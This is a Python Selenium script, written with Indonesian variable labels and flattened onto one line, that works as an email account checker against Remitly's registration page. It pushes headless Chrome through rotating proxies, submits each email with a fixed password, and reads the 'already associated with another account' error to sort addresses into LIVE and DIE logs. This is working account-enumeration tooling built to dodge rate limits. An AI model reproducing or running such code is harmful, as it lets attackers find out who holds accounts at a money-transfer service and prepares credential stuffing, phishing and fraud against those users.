def login(email): global valid global invalid global count colors = { 'merah': Fore.RED, 'hijau': Fore.GREEN, 'putih': Fore.WHITE, 'kuning': Fore.YELLOW, 'biru': Fore.CYAN, 'black': Fore.BLACK } if os.system == "nt": path = "chromedriver.exe" else: path = "chromedriver" url = "https://www.remitly.com/us/en/users/register" f = open("proxies.txt", "r") proxies = f for proxi in proxies: myproxy = proxi prox = Proxy() prox.proxy_type = ProxyType.MANUAL prox.http_proxy = myproxy prox.socks5_proxy = myproxy prox.ssl_proxy = myproxy capabilities = webdriver.DesiredCapabilities.CHROME prox.add_to_capabilities(capabilities) options = Options() options.headless = True options.add_argument('log-level=3') options.accept_untrusted_certs = True options.assume_untrusted_cert_issuer = True options.add_experimental_option('excludeSwitches', ['enable-logging']) options.add_argument("--no-sandbox") options.add_argument("--disable-impl-side-painting") options.add_argument('--disable-gpu') options.add_argument("--disable-setuid-sandbox") options.add_argument("--disable-seccomp-filter-sandbox") options.add_argument("--disable-breakpad") options.add_argument("--disable-client-side-phishing-detection") options.add_argument("--disable-cast") options.add_argument("--disable-cast-streaming-hw-encoding") options.add_argument("--disable-cloud-import") options.add_argument("--disable-popup-blocking") options.add_argument("--ignore-certificate-errors") options.add_argument("--disable-session-crashed-bubble") options.add_argument("--disable-ipv6") options.add_argument("--allow-http-screen-capture") options.add_argument("--start-maximized") driver = webdriver.Chrome(path, chrome_options=options, desired_capabilities=capabilities) driver.delete_all_cookies() driver.get(url) driver.find_element_by_name('email_address').send_keys(email) driver.find_element_by_name('password').send_keys('jakarta321') Select( driver.find_element_by_xpath( '/html/body/div[2]/div[2]/div/div/form/div[3]/div/select') ).select_by_value('4') button = driver.find_element_by_xpath( '/html/body/div[2]/div[2]/div/div/form/div[4]/button') button.click() # response = driver.find_elements_by_xpath("/html/body/div[2]/div[2]/div/div/script[1]") sleep(1) response = driver.execute_script( "return document.getElementsByTagName('html')[0].innerHTML") if 'This email address is associated with another account.' in ( str(response)): with myLock: Pac = email loglive.write(Pac) count = count + 1 valid = valid + 1 print("LIVE => " + email) else: with myLock: logdie.write(email) count = count + 1 invalid = invalid + 1 print("DIE => " + email)